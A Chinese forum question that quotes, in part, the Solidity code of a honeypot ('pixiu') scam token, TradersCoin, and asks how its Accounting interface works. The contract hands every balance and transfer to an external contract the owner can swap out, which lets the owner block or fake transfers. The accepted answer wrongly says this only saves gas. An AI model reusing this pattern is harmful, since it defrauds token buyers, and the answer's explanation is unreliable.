10 分析一个貔貅币的代码

interface Accounting {
    function doTransfer(address caller, address from, address to, uint amount) external returns (bool);
    function balanceOf(address who) external view returns (uint256);
}

contract TradersCoin is BEP20 {
    using SafeMath for uint256;

    address public owner = msg.sender;    
    string public name = "TradersCoin";
    string public symbol = "TRDC";
    uint8 public _decimals;
    uint public _totalSupply;

    mapping (address => mapping (address => uint256)) private allowed;
    address private accounting;

    constructor() public {
        _decimals = 9;
        _totalSupply = 1000000 * 10 ** 9;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function balanceOf(address who) view public returns (uint256) {
        return Accounting(accounting).balanceOf(who);
    }

    function setAccountingAddress(address accountingAddress) public {
        require(msg.sender == owner);
        accounting = accountingAddress;
    }

    function renounceOwnership() public {
        require(msg.sender == owner);
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }

    function transfer(address to, uint amount) public returns (bool success) {
        emit Transfer(msg.sender, to, amount);
        return Accounting(accounting).doTransfer(msg.sender, msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint amount) public returns (bool success) {
        require (amount > 1);
        allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
        emit Transfer(from, to, amount);
        return Accounting(accounting).doTransfer(msg.sender, from, to, amount);
    }

}

代码不多,部分代码我隐去了。但是搞不明白这个 Accounting 是从哪来的。 他创建合约的时候再调用 setAccountingAddress ,然后合约里面无论是转账还是查余额,都是由Accounting这玩意完成了,没搞懂里面的原理。

请先 登录 后评论

最佳答案 2022-07-03 14:27

Accounting是一个接口呀 这样可以省gas

他会把实现这个Accounting接口函数的地址,通过setAccountingAddress放入到这个合约下

请先 登录 后评论

其它 0 个回答

  • 1 关注
  • 1 收藏,3974 浏览
  • salic 提出于 2022-07-03 04:23